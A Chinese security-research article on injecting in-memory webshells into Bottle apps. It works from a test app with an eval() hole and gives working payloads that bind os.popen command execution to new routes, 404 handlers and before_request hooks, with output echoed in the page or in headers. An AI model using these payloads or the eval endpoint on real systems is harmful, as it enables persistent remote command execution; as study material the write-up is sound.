文章来源:奇安信攻防社区
链接:https://forum.butian.net/share/4048
作者:Massa
在某次测试时候 碰见了一个叫bottle的框架 于是探寻了下在实际中可应用的注入内存马的方法
探寻Bottle框架内存马
0x00 环境搭建
我们直接pip3 install bottle下载最新版本即可
然后在这里写一段代码,手动添加一条测试路由大概如下
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from bottle import template, Bottle,request,error
app = Bottle()
@error(404)
@app.route('/memshell')
def index():
result = eval(request.params.get('cmd'))
return template('Hello {{result}}, how are you?',result)
@app.route('/')
def index():
return 'Hello world'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888,debug=True)
在cmd我们可以执行python代码 即可开始测试
0x01 Bottle路由规则
我对内存马的理解就是注入一段执行命令的代码,把他找一个回显位点或者说绑定一个自定义的路由
在这之前 我们要理清整个框架的路由如何解析 方便我们日后的自定义路由的绑定
首先在装饰器的使用 直接调用一个route函数
我们跟进来看 他其实有很多默认的参数 在不看代码前 我们在看文档描述其实就能知道意义
首先我们传进去的 如图所示的 /memshell 就是我们的path
跟进代码
可以看到 在一开始他进行了一个判断 如果 path
是一个可调用对象(例如一个函数),则交换 path
和 callback
的角色,将原本作为 path
的值赋给 callback
,并将 path
设置为 None
这个其实我们也很好理解就是他会进行动态判断传入参数的类型 进行赋值,当你看到callback的时候 其实就会想到如果我们可以自定义一个函数 传进去 就能进行一个绑定的结果 但我们先别急 继续看完代码
剩下的代码定义了一个装饰器decorator函数 专门用来接收callback参数 然后下面一段都是生成路由的规则
我们可以看到最后通过创建一个Route对象 来完成路由的创建
最后走进add_route函数
对路由的规则和方法进行添加 以此完成最后的创建
0x02 如何使用callback
我们知道路由里面可以传入一个callback作为一个回调函数 或者说处理请求的函数 但是在路由本身解析的过程 他本意是与用户自定义一个函数进行绑定 看起来我们好像没什么办法了
所以我们目前需要探索的是如何不写一个完整的def的情况下自定义一个函数 经过搜索我发现了python自己默认自带的lambda表达式
他的语法非常简单而且还能省略arguments 参数 可以直接使用这种方式
lambda : print(1)
所以我的poc如上
我执行print(1) 我发现访问/b路由 他是一片空白的 在我们启动端
是看到可以成功执行的命令的 所以我们注入路由是可行的,而且lambda表达式也是可以的
0x03 思路(1) 直接绑定路由
有了这个思路 我直接手动引入os执行命令
再访问/b路由
可以看到能够成功完全可以 而且页面也是有回显的
这个很好理解 本身我们的路由就是和回调函数绑定的 所以执行的命令 也会直接回显在路由上 这个思路我们不需要找其他回显之类的就可以进行命令执行
那么接下来的操作就是让popen传进去的参数可控就可以了
app.route("%2Fb"%2C"GET"%2Clambda%20%3A__import__(%27os%27).popen(request.params.get('a')).read())
poc如上即可
你使用这种 也是完全可以的 request.query.get('a')
0x04 思路(2) 利用一些错误页面
很多时候框架都会自定义一些错误页面 比如404 会有对应的输出
所以我翻阅了下 bottle框架的对应源码
@error()
装饰器实际上是注册一个错误处理函数,用于捕获特定的 HTTP 错误。错误处理函数会接受一个 response
对象和错误信息,并允许你自定义返回的错误页面或日志
他通过wrapper函数传入 handler 把他与code错误码进行匹配 其实handler就是一个函数的意思
如果你在正常写代码自定义错误信息你可以通过这种方式
但是我们使用时候肯定依旧不能调用自定义函数
阅读代码发现如果你直接调用error方法 他其实是会返回一个wrapper函数的 而wrapper函数的参数就是我们自定义的函数
所以也就是我们可以
app.error(404)(lambda e: print(1))
构造poc如上即可 接下来就是简单的引入os即可 最终poc
app.error(404)(lambda e: __import__('os').popen(request.query.get('a')).read())
0x05 思路(3) 利用hook
翻阅文章看到一些师傅提到了python很多框架都内置了一些hook函数
于是我也阅读了下Bottle环境的相关Hook源码
Hook就相当于一个事件 当这个事件发生的时候就会触发这个事件执行
比如图中有请求前 请求后 请求重启等事件的触发
在这里可以看到对bottle框架的hook进行操作 在添加时候我们可以看到他专门有一个参数就是func 也就是执行的函数
我们随便选一种好触发的 比如before_request
我们手动添加add_hook
再进行访问发现果然会触发函数
但是在这种操作情况下 最难的就是该如何创建回显呢?
一些ctf经验告诉我 其实可以做一种类似半回显的办法
就是比如
我们其实是有响应头的 如果我们控制在响应头来进行回显
如果想要控制响应头我们一定要关注一个操作对象 就是相应的reponse对象
可以很容易找到BaseResponse类
稍微简单翻阅就可以看到
这个有set_header
可以方便我们设置name 和值了 那现在关键点就在于如何调用到response对象 或者说操纵response对象
我们在使用bottle框架他内置了response对象
也就是我们import之后就可以直接调用
那我们其实也可以直接使用__import__
引入
__import__('bottle').response
就可以了
最后poc
app.add_hook('before_request', lambda: __import__('bottle').response.set_header('X-flag', __import__('base64').b64encode(__import__('os').popen(request.query.get('a')).read().encode('utf-8')).decode('utf-8')))
在这里我怕执行命令的时候有什么字符会影响正常运行 所以套一层base64编码
可以发现能够成功回显在响应头里
但其实在目前我们的视野拓展到可以控制Bottle框架内置的一些函数的话 就可以再多看看
我注意到bottle框架中的一个内置函数abort
不仅是因为他可以触发一个异常 而且他第二个参数是我们可控回显在页面上的
所以我构造如下的poc
app.add_hook(%27before_request%27,%20lambda:%20__import__(%27bottle%27).abort(404,__import__(%27os%27).popen(request.query.get(%27a%27)).read()))
这样跟前面的利用错误很相像
这样访问一个不存在的路由的的时候他就会触发
但测试的时候发现有个弊端 因为注入的时候触发了异常 所以会严重影响业务,所以可能用处不是特别大,只当学习拓展了
后记&&参考链接
感谢天工实验室的师傅 发表的这篇文章https://research.qianxin.com/archives/2329 让我在探索时候有了很多灵感
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END
原文始发于微信公众号(黑白之道):探寻Bottle框架内存马
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论